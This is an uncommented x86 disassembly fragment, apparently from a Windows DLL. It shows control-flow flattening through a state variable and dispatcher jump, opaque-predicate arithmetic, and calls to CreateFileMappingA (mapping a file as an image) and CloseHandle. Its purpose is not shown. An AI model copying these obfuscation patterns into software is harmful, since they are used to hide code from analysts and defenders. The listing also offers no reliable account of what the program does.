mov dword [ebp - 0xa0], 0x877f998b
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
sub edx, 0x1e01959f
sub edx, 1
add edx, 0x1e01959f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdefdf178
mov ecx, 0xc6dee78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dword [ebp - 0xa0], 0xd226a00d
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b4fec8e
mov ecx, 0x1db7d1fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dword [ebp - 0xa0], 0xd86a91ae
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x456beaa4
sub edx, 1
sub edx, 0x456beaa4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5ed79b9
mov ecx, 0x4b7520bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dword [ebp - 0xa0], 0x79e79728
jmp 0x10005314
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], 0x4ab3269b
jmp 0x10005314
mov dword [ebp - 0xa0], 0xbec8b5a9
jmp 0x10005314
mov dword [ebp - 0xa0], 0xe74bc39a
jmp 0x10005314
mov dword [ebp - 0xa0], 0xce741d30
jmp 0x10005314
mov dword [ebp - 0xa0], 0x64248156
jmp 0x10005314
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xa0], 0x59d5d5c6
jmp 0x10005314
mov dword [ebp - 0xa0], 0xa238913e
jmp 0x10005314
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov dword [ebp - 0xa0], 0x325926f2
jmp 0x10005314
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa0], 0xb0cb5892
jmp 0x10005314
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xa0], 0x120820a1
jmp 0x10005314
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], 0x580af3f3
jmp 0x10005314
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], 0x6ce6aba6
jmp 0x10005314
mov dword [ebp - 0xa0], 0xdc2ef0fc
jmp 0x10005314
mov dword [ebp - 0xa0], 0xefeacc7f
jmp 0x10005314
mov dword [ebp - 0xa0], 0x4b7520bf
jmp 0x10005314
jmp 0x100013a8